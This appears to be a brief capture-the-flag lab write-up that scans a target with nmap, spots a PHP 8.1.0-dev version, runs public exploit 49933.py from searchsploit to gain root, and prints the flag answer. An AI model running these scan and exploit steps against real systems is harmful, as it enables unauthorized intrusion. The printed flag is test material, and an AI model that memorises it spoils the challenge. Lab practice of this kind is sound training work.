Something seems a little off with the server.
scan the target
nmap -sS -sV -sC 10.10.151.122
go to the webpage
we found a admin dardboard that contain a searchbar
just try a request, i found the version of php
quick search for cve
searchsploit php 8.1.0-dev
searchsploit -m 49933.py
python3 49933.py
wow amazing, we got root user
find / -name *flag*.txt 2>/dev/null
| Flag | user.txt |
|---|---|
| Answer | flag{4127d0530abf16d6d23973e3df8dbecb} |